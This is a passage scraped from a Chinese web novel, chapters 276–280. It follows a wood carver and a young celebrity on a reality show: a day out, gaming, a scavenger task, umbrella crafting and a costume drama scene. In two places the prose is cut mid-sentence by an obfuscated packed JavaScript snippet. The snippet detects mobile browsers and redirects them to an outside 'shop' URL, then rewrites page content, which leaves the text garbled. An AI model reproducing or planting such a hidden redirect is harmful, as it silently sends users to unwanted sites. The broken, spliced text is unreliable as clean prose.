一通电话结束,程逾呼出一口气,刚要吃饭,齐刷刷对上一屋子的视线。 她下意识摸了摸脸:“怎么了?” 施宇对她竖起大拇指:“我去,小鱼姐,你工作的样子好帅。” “果然听不懂就是高大上。”余兴然也感叹了句。 齐菲问:“这是木雕修复?我听着像。” 程逾点了点头:“馆内的一尊木雕开裂了。” “好神奇啊,木头开裂还能补上。”苏琪说,“特别像文物修复,这工作真有意思。” “还能有你们有意思?”程逾说,“我们这行很枯燥的,也很冷清,想不开的才会干这行。” 程逾只是开开玩笑,她和孟棠一样,对于木头有着莫名的执念和痴迷。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第276章 孟程在(10) 连着两天的录制后,程逾等人得到了两天的休息时间。 程逾一边收拾行李一边嘀咕:“休息跟没休息一样,明天就得往另一个城市赶,到那儿又累半死。” “明天到了后可以在酒店休息。”孟竞帆帮着她一起整理,“你好歹叠一下,这样会把行李箱弄坏。” “你管我。”程逾我行我素,“我每次都这么出门的。” “……那是因为我妈给你整理的。”孟竞帆简直无语,“赶紧过去坐着吧,我来弄,你要是能把对木头的耐心放三分之一到其他事上,我都会非常欣慰。” “要你欣什么慰?人不大,怎么一副长辈口气,咱俩差了五岁。”程逾将手指张开堵在他眼前,试图让他认清自己的地位。 可孟竞帆对她,从小就是没大没小,从没叫过姐,这么多年都过来了,怎么可能还会认清这五岁的差异。 他和程逾在一起生活了这么多年,还能不了解她吗? 对待工作认真严谨,看着成熟,其实有什么心思都摆在脸上,单纯得很。 大学时期那么多人追她,可把他给愁坏了,隔三岔五就得查个岗,生怕她傻乎乎地被人骗走。 得亏那些男生都不中用,程逾自己也不开窍,全都不了了之。 余兴然和施宇有活动参加,当晚就飞回了首都,其余人分了两趟航班在第二天中午落地津塘。 孟竞帆一个人拿两个人的行李,程逾背着两人的包。 苏琪跟在旁边笑了声:“你俩感情还挺好。” “从小一起长大的嘛。”程逾说,“他小时候上幼儿园那会儿,我还经常去接他放学呢,你说感情能不好吗?” “听说竞帆还有个弟弟,不会也叫你小鱼吧?” “他可比孟竞帆乖,叫我姐。”程逾说,“就孟竞帆整天没大没小的。” 苏琪失笑,瞥了眼前头的孟竞帆,说:“我觉得他对你挺好的。” “他对家里人都挺好的,我俩打打闹闹这么多年,早就习惯了。” “那你师父一定很好。” 不然程逾不可能和孟竞帆处成这样。 “嗯,我师父特别特别好。”程逾十分感慨地说,“要是没有她,我都不知道我现在在哪里。” 别看她小时候劲劲儿的,可到底不过一个八岁的小孩,在老人家生病的时候,全是手足无措。 要不是谭曦和孟棠,她真的不知道该怎么办。 而且孟棠和魏川对她视如己出,有时候比对亲儿子还要好。 她曾经和魏川开过一句玩笑:“川叔,闺女是不是特别好啊,其实你和师父还年轻,还可以再生一个。” 魏川笑了笑:“你不就是我闺女,不生了。” 当时的程逾听到还愣了下,难得羞赧。 明天有一天的自由时间,孟竞帆这个人待不住,问程逾要不要出去转转。 程逾瞥他:“你认真的?” 孟竞帆有些疑惑:“这有什么作假的,我帽子口罩一戴,谁认识我。” “……你戴帽子口罩才奇怪。”程逾无力吐槽,“要是被认出来就麻烦了,说不定还得上个娱乐新闻。” 孟竞帆说:“没事的,你信我。” 程逾:“……” 她怎么这么不信呢。 “孟竞帆,还是老实在酒店待着吧。” 孟竞帆打开微信群,问大家明天要不要出去转转。 齐菲开玩笑:【我和老赵就不去了,你们年轻人出去转转也好。】 苏琪有那个意思,她推了推一旁的张雨年:“竞帆约明天出去玩,你去不去?” 张雨年看着她:“想听实话还是假话?” 他只想在酒店躺着。 苏琪也不强求,说:“那我出去转转。” “你去干什么?”张雨年笑了声,“这不打扰人家吗?” 苏琪知道他的意思,说:“你会不会想得太多?我看他俩啥事也没有啊。” “现在没事,不代表以后没事。”张雨年晃了下手机,“他俩cp超话还挺火,而且你不觉得孟竞帆对程逾的行为,套用在任何一对情侣身上都说得通吗?” “人家是青梅竹马哎,亲密一点也正常。”苏琪说着说着,声音竟然弱了下去。 她家老张眼睛毒,看人一向很准,她有点不确定了。 “没开窍而已。”张雨年轻轻一笑,一副高深莫测的模样。 苏琪可不惯着他,一巴掌拍他后背上:“话别说一半,赶紧给我说说。” 张雨年摊了摊手:“知不知道有一句话之前很流行的,叫年下不叫姐,心思有点野。” “我去,小鱼完全是他家的童养媳啊,啊不对不对,这个词不太好,青梅竹马。” 手机震动了声,张雨年垂眸一看,没忍住笑出了声:“真是大电灯泡。” 苏琪凑过去:“怎么了?” 张雨年说:“司明瀚要跟着去,这小子对程逾的心思有点明显啊。” “啊?”苏琪摸不着头脑了,“又关司明瀚什么事?” 张雨年:“他好像挺喜欢程逾的,前两天节目录制,荣哥跟我闲谈,说养儿无用,看见人家小鱼,硬生生看着他被孟竞帆拍了照片。” “还有这回事?”苏琪哭笑不得,“不过小鱼长得是漂亮,性格也可爱,他不会真的一见钟情了吧。” “看着吧,有意思的还在后头呢。”张雨年本人也挺八卦的,“这节目还真没白来。” 苏琪看着张雨年微信里的群聊,问他:“那我明天去不去啊?” “去啊,看热闹去呗,反正司明瀚都去了,正好去验证验证我说的对不对。” “那我可去了,你帮我回。” “得嘞。” 孟竞帆趴到床上,伸长胳膊给程逾看他的手机:“瀚哥和苏琪姐跟我们一起,这下可以去了吧?” “还真有人去。”程逾瞥了眼孟竞帆,这人闲下来比较烦人,大概是嫌弃酒店待得闷,于是点了点头,“行吧,几个人一起,被认出来也不怕。” 孟竞帆用头撞了下程逾的腰,撒娇道:“小鱼,好无聊啊,咱们打游戏吧。” 程逾睡醒后就叫了吃的,这会儿刚吃过,又想睡了,但孟竞帆精神抖擞。 她无奈地叹了声气,抓了一把他的短发:“走吧,祖宗,打游戏。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第277章 孟程(11) 套房内就有电竞房,程逾跟在孟竞帆身后,说:“我事先跟你说明啊,我打得不好,别输了又赖赖唧唧的。” “谁赖赖唧唧了。”孟竞帆不满地**,“我在你心里就这样?” “你在我心里还不如这样。” “我发现你是真能挖苦人,尤其是对我。” “我还没揍你呢。”程逾故意扬起手,孟竞帆下意识躲了下。 程逾开了电脑,两人登上了游戏。 她以前不会打游戏,也没空去打,还是孟竞帆有一段时间被黑,心情不好陪他才学会的。 他俩打游戏也有固定的队友,刚上线队友就发来了组队邀请。 孟竞帆失笑:“给我留了辅助位。” 游戏一开始,谁也没了说话的心思,程逾一开始还不想打,玩着玩着就忘记了时间。 房间里有点冷,她本想去拿件外套,想想又放弃了。 游戏里,孟竞帆一直在她身边保驾护航,突然,头顶砸过来轻飘飘一件冲锋衣,程逾被遮挡了视线。 游戏赢了,程逾一把扯下衣服:“你干什么?” “穿上,你不是冷吗?” 程逾套上衣服,说:“你怎么知道我冷?” 当然是余光刷到的,孟竞帆示意她看屏幕:“再玩会儿。” “好。” 玩都玩了,就舍命陪君子了。 两人玩到凌晨一点才结束,程逾实在扛不住了,推开键盘对孟竞帆说: “我是真佩服你们这些明星的熬夜能力,熬夜就罢了,皮肤竟然还能那么好,你自己玩吧,我睡觉去了。” 孟竞帆和她挥了挥手:“别忘了调闹钟,明早八点起床。” “知道了。” 之前在群里,他们四个人约了八点半一起吃早餐。 第二天将近九点,四个人才到了酒店餐厅。 程逾见司明瀚一直盯着自己的餐盘,问了句:“呃……你吃吗?” 司明瀚赶紧摇了头,没头没脑地起身说:“我去拿早餐。” 程逾也没在意,直到司明瀚拿了和她差不多的早餐,又觉得他挺有意思,说了不吃,又拿了一样的。 苏琪静静看着,对昨晚张雨年说的话又信了一分。 孟竞帆不是傻子,他就坐在程逾的旁边,明显察觉到了司明瀚时不时瞥过来的视线。 孟竞帆看过去时,他又下意识转了视线。 孟竞帆蹙了下眉,转头瞧程逾心大得很,嘴里都塞满了。 苏琪失笑,真是傻。 他们只有一天的时间,其实去不了什么地方,只能在附近的景点逛一逛,买点小东西。 这会儿太阳有点大,孟竞帆将自己的鸭舌帽盖到程逾头上,微微蹙眉:“不是提醒你戴帽子了?防晒也不做。” “繁琐。”程逾喜欢清清爽爽的,她偏向物理防晒,只是出门的时候,把帽子忘了。 孟竞帆的帽子太大,她拿下来递过去:“还是你戴着吧,省得被粉丝认出来,景区那边有卖帽子的,我再买一顶就行。” 鸭舌帽确实有点大,程逾戴着总要掉,孟竞帆又将帽子给她卡了上去,说: “你们找个阴凉的地方歇一会儿,我去给她买个帽子。” 景区商店多的是,随便找一家就能买到。 程逾不想麻烦他,说:“还是不用了吧,我自己去。” “老师待着吧,你要是瘦了黑了,回去我得被我爸揍一顿。”孟竞帆看向苏琪和司明瀚,“你俩要喝什么,我顺道买过来。” “喝点清爽的吧。”苏琪说,“你再问问他们两个。” 程逾挥了挥手:“你看着买吧,反正你知道我喜欢喝什么。” 司明瀚起身:“我跟你一起去吧,省得你不好拿。” 孟竞帆:“也行,先买一些吃的喝的,你拿过来。” “好。”司明瀚应了声。 景区门口就有不少商店,不过走过去还要一段路。 天气热,孟竞帆跟司明瀚开玩笑:“得亏没让小鱼过来,就她那脾气,三步一走就嫌烦。” 司明瀚挠了下头:“我怎么感觉她脾气挺好的。” “她脾气最好的时候是拿着刻刀对着木头。”孟竞帆微微偏头,“你可别被她骗了。” 司明瀚摇摇头:“我怎么 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程逾没等多久,司明瀚就回来了,她接了椰子水,道了声谢,越过司明瀚没看到孟竞帆的身影,抬眸问: “孟竞帆人呢?” “还在买帽子吧。” 程逾:“……买个帽子还要这么长时间。” “等等吧。”苏琪说,“说不定挑选费了点时间。“ 程逾刚咬住吸管,孟竞帆从商店出来了,他拎着很大的一个袋子。 等他到跟前了,程逾扒拉了下:“你买的确实是帽子吗?怎么这么大?” “谁知道你戴什么款式的,就每个款式都买了一个。”孟竞帆拿出一个鸭舌帽卡在她头上,“这个正好。” “孟竞帆,你个败家子。”程逾拍了下他的手臂,“买那么多款式,回头我还得塞行李箱里带回去。” “带回去呗,给方姐和英姐各一顶,就说是给她们的礼物。” 程逾:“……你怎么拿得出手的。” 孟竞帆耸了耸肩。 第278章 孟程(12) 中午,四个人去了提前订好的,据说风情和口味都不错的餐厅。 刚进餐厅,苏琪就被认了出来。 她是脱口秀界的红人,不少人都去过现场看过她。 苏琪指了指身后的朋友,拒绝了签名,说可以合影。 “孟竞帆。”有粉丝认出来,激动地叫了声,“好帅啊。” “**,是真的帅,我还是第一次见。” “他旁边的是司明瀚吧,他们在录综艺吗?怎么没有摄像机啊?” “应该没在录吧,然然和小宇不在,他们应该是私人行程,他们出来玩的吧。” “孟竞帆右边站着的就是他的cp吧?” “是,好像叫程逾,大家都叫她小鱼,蛮可爱的名字。” “长得很漂亮,怪不得能上综艺。” 孟竞帆大大方方打了招呼:“要合影吗?” “可以吗?我们不是你的粉丝,只是认识你。” “没事,你们想合影的话,我可以配合你们。” “那还是拍吧,我赌你以后会火。” 孟竞帆失笑:“借你吉言,小鱼,你拿她们手机帮忙拍一下。” “好。”程逾走过去,“来,我给你们拍。” 合了影后,孟竞帆一行人才进了餐厅。 上菜后,司明瀚拿出手机,看了眼程逾,提议道:“要不我们也合个影?” “可以,来。”苏琪让他举起手机,比了个剪刀手。 孟竞帆和程逾也看向镜头,四个人就此被定格。 吃过午饭,司明瀚将合照发到了自己的微博上。 粉丝调侃,这还是第一次在他的动态里看到异性。 司明瀚看到这句话莫名心虚,还是回了一句:一起录节目的同事。 粉丝逗他:只是同事嘛。 有孟竞帆和程逾的cp粉评论了一句这是孟竞帆的搭档,然后就被司明瀚的粉丝怼了。 然后两家打了起来,但活粉少,声量不大,没闹出什么事。 这事是司明瀚惹出来的,他也不懂饭圈那一套,主动找到了魏川并道了歉。 魏川哭笑不得:“你道歉干什么,没事,粉圈吵架是常态,放平心态。” “真的没事?”司明瀚还是过意不去,毕竟他很多粉丝还骂了孟竞帆。 “真没事。”孟竞帆拍了拍司明瀚,“你不用理会。” 因为第二天早上还有录制,程逾他们下午很早就回了酒店。 录制全天都在户外,这几天温度不断上升,估计会很辛苦。 临睡前,所有人抽了一张卡,上面有节目标志的负责在第二天五点起床并叫醒其他人。 孟竞帆很幸运,抽到了有logo的卡片。 这个综艺里,他跟程逾是最熟的,别说叫她起床,就是掀被子他都敢。 毕竟出门在外,还有那么多摄像头,谁都会裹得严严实实地睡。 孟竞帆敲了半天的门,里面都没回应。 他无奈地转头:“最好打个电话,她睡觉雷打不动。” “可以。” 孟竞帆拿出手机给程逾打了电话,第二通的时候才被接起。 “起床工作了。” 程逾迷迷糊糊看了眼手机,都五点了? 门外又传来敲门声,程逾抓了抓头发,浑浑噩噩去开了门。 看到摄像机的那一刻,程逾丝毫没有躲避的自觉和习惯,只是眯着眼睛笑了笑,贡献了一个神级镜头。 “镜头还在呢,赶紧洗漱。”孟竞帆掰过她的身体,推着她往洗手间去,“赶紧的,咱俩待会儿还要去叫余兴然和施宇。” 他俩是昨天夜里到的,还被私生骚扰了一路,孟竞帆都有点不忍心叫他俩了,一定很累。 但录节目嘛,实在没办法。 孟竞帆只敲了两遍,施宇就开了房门,他和余兴然都戴着黑框眼镜,只让镜头拍自己好看的半张脸。 孟竞帆看向程逾:“下次别傻乎乎地素人对着镜头,看看人家。” 程逾反驳:“我又不靠镜头吃饭,跟爱豆当然没办法比,再说了,素颜怎么了?难道我还要带妆睡一夜?” “只是有些人爱挑刺。”孟竞帆解释,“怕你被骂。” “爱骂就骂,说得我能看见似的。” 孟竞帆:“……” 程逾和孟棠一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603433|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不爱玩社交软件。就算登录了,也只是看看他,或者上传木雕的视频。 五点半,所有人陆续起床,当听到直接开录时,所有人都惊呆了。 没有妆发,不吃早饭直接录吗?会不会太没人性了? 导演组说七点准时开饭,五个队伍,分一二三名,第一名是豪华早餐,第二名中等,最后一名的队伍只有白馒头和咸菜。 第一二名各有一个队伍,剩下的自动归为第三名。 第一个任务是景点寻踪,节目组会发下来十张照片,分别是十个景点,只要带着照片打卡并合影就可以完成任务,用时越短,名次越高。 与此同时,他们手里还有一张地图。 程逾拉住要跑的孟竞帆,拿出笔给他:“不要着急,虽然照片没有标注景点的名字,但地图上,我们可以根据照片猜测一下,然后按照路线缩短时间。” 孟竞帆朝她竖起大拇指:“太牛了。” 这思路也太清晰了,而别的路,早在拿到任务后就跑得没影了。 两人拔掉笔帽,趴到桌子上开始将照片和地图做比对。 “月湖。”程逾嘀咕了句,“像月亮一样的湖吗?照片里有没有?” “照片一共三张带湖水的,但另外两张的主体性不在湖,只剩下这一张。”孟竞帆将照片推过去,“应该是这个,我看形状有点像月亮。” 程逾扒拉了下照片看了下,同意了孟竞帆这个观点。 她指了指自己捏着的照片:“你看这个,有彩虹,就是就是彩虹崖了。” 孟竞帆点了点头:“应该是的。” 他回头看了眼跟拍,问:“你说是吗?” 跟拍一脸苦笑,这一对太聪明了,尤其是程逾,找他们这样全都找出来再定制路线,比其他组的效率高了不止一倍。 景点的名字都挺有象征意义的,两人一找一个准。 程逾将标注的十个景点连成线,说:“我们现在在这里,偏北一点的位置,离我们最近的是彩虹崖,我们可以从这里开始。” “走。”孟竞帆一把拉起她,“今天一定要得个第一。” 第279章 孟程(13) 程逾和孟竞帆以彩虹崖为第一站,z字形交叉前进,不到六点半,两人就完成了任务。 七点准时来临,冠军父子进了节目组准备的餐厅。 两人都惊呆了。 “你们什么时候回来的?我还以为我俩是最快的。” 毕竟这里面他俩体力很占优势,脑子也不算笨。 孟竞帆谦虚了声:“六点半到餐厅的。” “竟然比我们早了半小时。”司显荣来了兴趣,“跟我说说,你们怎么办到的?” 孟竞帆得意一笑,揽过程逾的肩膀拍了拍:“还得感谢我们家的小鱼啊,脑瓜子是真聪明,我们先找的地图,连线后制定的路线。” 虽然猜错了两三个,但不妨碍他们的脚步。 “那我们只能去第二名了。”司显荣和司明瀚在两人的左边坐下,“还可以啊,有油条呢。” 紧随其后的是施宇和余兴然,剩下的两组自然就是第三名了。 齐菲进来的时候,脸色不太好,孟竞帆眼神询问张雨年,张雨年摇了摇头。 导演组公布名次后,所任队伍落座,齐菲的老公赵敬廷嘀咕了一句“这怎么吃”,被齐菲“啧”了声,之后两人的脸色都不太好看。 导演组给了孟竞帆一个救场的眼神,孟竞帆对余兴然和施宇招了招手:“想吃吗?” “哥。”余兴然谄媚地迎上去,给孟竞帆捏了捏肩膀。 “谁是你哥。”孟竞帆说,“我比你还小一岁。” “可你这高大威猛的体型,看着不像比我们小。”施宇为了吃的也加入其中。 利用他俩的遮挡,孟竞帆立刻捂住麦说:“菲姐那边好像在吵架,你俩做做样子,从我这里抢一些早餐过去,缓解一下气氛。” 施宇给他比了个“OK”的手势。 孟竞帆装模作样地清了下嗓子:“你这是觉得我老啊,我决定了,今天这早餐没有你俩的份。” “哎哎哎,话是施宇说的,怎么把我也恨上了。”余兴然为自己发声,“我可不能同意啊。” 施宇眼珠一瞟,快速拿了个水晶包塞进了嘴里,随后端起面前的蟹黄灌汤包就跑。 “哎。”孟竞帆赶紧跑起来阻止,“施宇。” 施宇护着东西放到齐菲桌上:“姐,给我看着,我再去给你们抢,咱们三个队,完全可以护住的。” 余兴然也不捶背了,加入了“强盗”行列。 餐厅一时变成了“战场”,齐菲和赵敬廷逐渐有了笑意,两人那点因为做任务的隔阂消失殆尽。 吃完早餐,短暂休息后,艺人做了妆发前往下一个录制地点。 商务面包车上,大家已经拿到了任务卡。 “非遗?”余兴然回头看了眼程逾,“这个小鱼姐拿手啊,对我们是打击吧?” “这个是伞的制作,都有师傅的,应该好做。”程逾说,“我是木雕,也没弄过伞,怎么就对你们是打击了?” “非遗文化都是相通的。”齐菲插了一句。 程逾赞同地点了点头:“这倒是。” “提醒各位,只有成功地得到师傅的认可才能获得下一站的线索。” “啊?如果我的手就是不那么巧,得不到认可的话,要被留在原地一直做吗?”苏琪担忧地问了句,她和张雨年是老大难。 “是的。”节目组回应。 “完蛋。”苏琪栽倒在张雨年身上。 “没事。”程逾拍了拍椅背,“如果我们做得快,可以帮你们。” 苏琪抓到了救命稻草:“那真是太好了,我今天都得抱着你们大腿。” 程逾问导演:“材料都是准备好的吧?总不能从选材搞吧?” “都是准备好的材料,由于时间限制,我们只做迷你的小伞,师傅会带着一起做,我们节目组的人都做成功了,相信你们也可以。” 导演直接回答了程逾下一个想问的问题,听说是小伞,她才松了口气,真要是一比一还原,得做到猴年马月去。 这种非遗的物件还得仔细对待,有时候一个伞面都得做半个月。 到了现场,节目组介绍了五位制伞的师傅,各自挑选后,进入了正式开拍。 光看解析图都晕头转向,动起手来更是没信心。 最有信心的应该就是孟竞帆了,像伞面,程逾随手就能画个图案出来。 她一个学木雕的,手只会巧,不会生。 因为做的小伞,伞柄是常见的硬木类,只要是木头,程逾随手就能雕刻,只不过这玩意太小,不太适合雕刻人物。 伞柄雕刻也是非遗伞的核心工艺之一,程逾选择了一段云纹雕刻了上去。 这纹饰简单,手起刀落就能刻好。 老师傅惊讶地问:“你这手法很厉害啊,看着像学过的。” “我学木雕的,黄杨木雕。”程逾跟师傅唠嗑,“我正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608584|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿八经拜了师父的。” “你是雁清的?”老师傅问。 “对呢,您也知道雁清啊,小地方呢。” “那怎么不知道,木雕之乡啊,我搞过竹雕,也去过雁清,对这些自然知道。” 程逾笑了声:“那您觉得我手艺怎么样?” “是这个。”老师傅竖起大拇指,“你师父叫什么,兴许我还认识。” “我师父比您小了估计得有二十来岁,您怎么能认识?” “你说说姓什么?” “姓孟。” “孟?”老师傅一怔,“难道是孟遇春?但年龄不对啊。” “您还真认识。”孟竞帆抬眸,“您说的孟遇春是我外公,她口中的师父啊,是我妈。” “哦吆,还真的是认识的,我记得孟老先生就一孙女,没想到手艺被孙女传承下来了,现在还收了新徒弟,了不得。” 程逾也没想到录个节目还有这层缘分,手下做的更卖力了。 “孟竞帆,咱俩分工一下,你把这个伞组装一下,我把伞面弄一下,快点。” “知道了。”孟竞帆小心翼翼接好了伞骨伞柄,和程逾一起完成了伞的制作。 两人慢悠悠拍下了红灯。 “好,孟竞帆和程逾这组第一个完成,请来拿你们下一站的任务卡。” 程逾在桌下踢了下孟竞帆:“你去拿。” 张雨年举手:“小鱼,赶紧来救救你哥。” “来了。”程逾笑着走了过去。 余兴然也喊:“我也需要帮助,小鱼姐。” 齐菲笑道:“让小鱼化身八爪鱼,给我们都指导指导。” 程逾可不敢说指导,客气了两句后,帮他们一一把难题都解决。 眼看着差不多了,程逾说:“我跟孟竞帆先走一步了,各位老师们。” 得了人家的帮助,哪还好意思抢第一,纷纷和他俩挥了手:“你们先走吧。” 程逾和孟竞帆坐上了出租车,往下一个任务点出发。 下个任务点录完,差不多就得收工,接下来的明天再录。 程逾有点累,瘫在座位上连句话都没了,孟竞帆察觉,转头说:“你要不要眯一会儿,开车过去要五十分钟。” 程逾看了眼摄像:“可以睡?” “没事,你睡着的不会剪到正片。” “那就好。” 程逾倒头就睡,孟竞帆也看向窗外,闭上了眼睛。 第280章 孟程(14) 九点左右,出租车抵达节目组的任务地点,一个新搭建的影视基地。 “晚风影视基地。”程逾对着木头牌一字一顿读了遍,“这里人好少。” “这里新建的,还没剧组进来。”孟竞帆说,“顺着标志往里走吧,估计一会儿就有任务点。” “好。” 程逾越往里走越觉得幽静,她指了指不远处的密林:“真的好像古装戏里的场景。” 孟竞帆偏头一瞧,笑道:“这也正常,隐约还能看到寺庙的影子。” 两人从正门一路往里,在一条分叉路口拐了弯后看到了任务点。 他们凭借上一个任务的成绩交换了此轮的任务。 程逾低头扫了眼,将任务卡给了孟竞帆:“这个你来比较合适。” “演戏的啊?”孟竞帆接过看了会儿,“可需要两个人一起完成啊,这是有剧情设计的,还是跨越时空的,你要穿古装哎。” “真的?”程逾刚才只是扫了眼,没注意到时空背景,听孟竞帆一说,瞬间来了兴趣,“哪个朝代的啊?” “这个一般架空,哪个朝代都不太适合在综艺上出现。”孟竞帆说。 综艺是娱乐性很强的节目,万一整不好就会翻车。 “那我要演侠女。”程逾兴冲冲道,“我这性格只适合这个了。” “先去找戏台。”孟竞帆拉着她就跑,“演什么,应该不是我们说了算。” 孟竞帆这话是说对了,这个环节是某网文集团投资赞助的,花了大价钱在综艺推广营销,这部剧目前即将影视化,一切都是话题的炒作。 现在影视剧都难,用尽各种手段预热已经是常见的事情。 而《终极竞速》第一季播得特别好,第二季自然吸引了不少的赞助商。 孟竞帆和程逾需要演的片段也只是部分剧情。 往里百十米有个露天的戏台,戏台上的人竟然都穿着古装。 入口处有个穿梭时空的门,当然是节目组设置的,门口站着工作人员,给他们讲解了具体要做的事。 简单来说,他们现在可以选择穿不穿过这个时空之门,穿过的话就得去一旁换衣服。 孟竞帆开了句玩笑,拉着程逾作势要走:“我们选择不穿越时空之门。” 工作人员一时愣在原地。 程逾拍了下孟竞帆,孟竞帆返回笑了声:“虽然可以选择,但好像必须要选择时空之门呢。” “……”工作人员做了“请”的手势:“换好衣服后请在各自的房间里熟悉台本。” 一旁就是节目组临时搭建的隔间,这个和真正的拍戏没法比,衣服和头套戴上就可以直接“穿越”了。 但孟竞帆这个人,实在看不得穿着古装还歪七扭八的,和节目组说了声,给他俩好好搞了个妆造。 穿越时空之门之前,导演说:“你们饰演的剧情来源于一部很火爆的小说《明月生》,即将影视化,你们今天将会化身书中人物,体验一把他们的人生,需要注意的是,一旦发现卡词或者笑场,剧情将会重来,也就意味着你们要重演,每一个场景都会一有个NPC,他们会判定你们的表演是否通关,如果通关,NPC会随着剧情交给你们一个信物,让你们开启下一个场景。” 孟竞帆点了点头:“明白了,不过我有一个问题,后来的人也跟我们是一个剧本吗?” “同一个地方,不是同一个剧本,不过玩法都是一样的,都需要演戏。” “好的。” 影视基地一般都不小,他和程逾过来的时候还看到了民国建筑的场景。 “请两位手拉手,移至时空之门。” 孟竞帆朝程逾伸出手:“走吧。” 程逾将手搭上去:“走。” 两人越过时空之门,走向戏台,当他们走近的那一刻,戏台周边的人全都动了。 按照设定,他俩得融入角色去看戏,这是两人第一场会面。 戏台上唱着才子佳人,底下人喝彩纷纷。 “看了这段戏,我便想起了李府嫡女与相门真假公子的婚约,当真比戏还要精彩。” NPC触动,开始了正式演出。 “谁说不是呢,韩李两府联姻既是腹中之约,又是天家赐婚,不然,韩戬是要娶公主的,今上对这桩婚事很是看重。可谁知,那韩戬竟不是丞相亲生,亲生的却成了乡野猎户。” “圣上赐婚两府嫡出,这猎户一回,不知李大娘子作何感想?” 程逾饰演的李幼潆苦笑一声,还能作何感想,遵父母之命媒妁之言。 “谁知道那猎户叫什么名字?” 人群里有人问。 李幼潆眸光微闪,记忆回溯。 一个月前,她问父亲:“相府既迎了亲子,欲将韩戬置于何地?” 李幼潆的父亲李矩说:“除了婚约,其余照旧,毕竟养了这么些年,他依旧是丞相府公子,以后自会为他再寻一门好亲事。” 李幼潆颔首:“知道了,父亲,那他……叫什么?” 李矩:“启烽夜燃千帐火,月照边关万里霜,周启烽。” “周、启、烽。”李幼潆一字一顿,倒是好名字,她微微叹了声气:“父亲,我要在大婚前见他一面!” 这里程逾只是做了微表情处理,回忆的内容会补拍。 当下还是她约孟竞帆饰演的周启烽见面的场景。 两人约的戏台对面的茶楼,却不约而同被戏台上的戏吸引了,驻足观看,一不小心入了神。 戏结束,李幼潆回头欲往茶楼去,不远处跑来一个小丫鬟:“大娘子,我可算找到你了。” 程逾有些惊讶,她不知道给她安排了丫鬟,她又怕是给线索的NPC,便站着没动。 丫鬟给李幼潆系上披风:“眼下虽说进了四月,然春寒料峭,大娘子还是要注意些身体。” 李幼潆说:“我知道了。” 丫鬟:“我们进去吧,那屠——大公子应该到了。” 程逾忍着不回头去看孟竞帆,跟着丫鬟进了茶楼。 进入二楼后,丫鬟就在一旁伺候,拉开了房内的屏风,就在这时,包厢的门被敲响。 应该是孟竞帆过来了,程逾不由自主瞥了眼。 丫鬟开了门,周启烽进门后,径自在屏风后坐了下来。 丫鬟给两边都上了茶,李幼潆试图通过屏风将人看清。 周启烽冷冰冰道:“鄙人长相粗野,还是别污了大娘子的眼。” 李幼潆清了下嗓子:“《魏书》记载:朔州地处大魏北疆,距都甚远。四季分明,夏无酷暑,然冬日漫长,寒冷艰辛,不利于养病。” 周启烽冷冰冰瞧了她一眼:“你查了我?” “无意冒犯。”李幼潆说,“你为令妹的病入都,我完全可以理解,你若愿意,我有一人可保令妹暂且性命无忧。” 她自然不可能坐以待毙,查出周启烽是为了养妹的病入都后才卸下了点防备。 韩戬为人自大,她并不喜欢。 包厢内沉寂了一瞬,周启烽说:“我以为你来此的目的是让我离开京都。” 毕竟韩戬和李幼潆青梅竹马,整个都城都道是天作之合。 如今他这个莽夫骤然牵扯其中,李幼潆讨厌他是应该的。 不过他小妹的病只有都城的大夫能治,他无论如何也不会走的。 “我来此的目的是和你谈婚事。”李幼潆说,“你有什么想法?” 周启烽说:“小妹病好后,我自会带着她离开。” “这是今上赐婚。”李幼潆加重了语气,“你来都城的目的不重要,重要的是你来了,相府也对外承认了你,便是承认了你的身世地位,两府联姻影响深远,轻易不能改。” 周启烽没想到李幼潆不哭不闹,难不成还要跟他成婚? 周启烽脱口便问:“你嫌弃韩戬并非相爷亲生?可他为南巡司巡卫中尉,自有一番前途。” “你对官职如此了解,不太像乡野村夫。”李幼潆与他一来一回,“据我所知,山野里也没你这样的名字。” 山村粗鄙,村民可不会这样有礼有节地尊称,在家排第几就是几郎,或是排行老几,后面加个名。 村中长辈都唤他周大郎,听着就像窝囊废。年轻点的汉子要不叫烽哥要不叫大烽。 周启烽惊叹她的敏锐,解释道:“朔州是大魏北方门户,常年受外族侵扰。我所住村落地处边陲,那里诸族林立,各有其俗,多方势力混杂,暗流涌动,我虽为猎户,却常带着村中青壮御敌。” 周启烽本就是猎户,以杀生为生,外加彪形体壮,常惹得人不敢直视。 他自十二岁和村中伙伴合力杀了一头野猪后,越来越得心应手。 以至于外族斥候先行山间探查时,被他毫不手软砍杀,自此在当地一战成名。 这些剧本上都有,程逾自然也知道。 周启烽最后是大魏的护国将军,大魏的百姓在他的庇护下迎来了欣欣向荣。 她按照孟竞帆告诉她的表演方式,起身越过屏风向他行了礼,道:“我虽为女子,亦知边陲百姓之苦,郎君护一地之安宁,功绩当铭,乃真豪杰。” 周启烽一时错愕,没料到她这反应,素来坚毅的面庞微有异动,他直直看着她,未发一言。 小窗半敞,倏地吹来轻风,拂起李幼潆一绺发丝,周启烽的视线转过去,身姿略显僵硬。 李幼潆抬眸,许是北方生活久了,周启烽面部有些糙,硬朗的轮廓刻着北地的风霜。 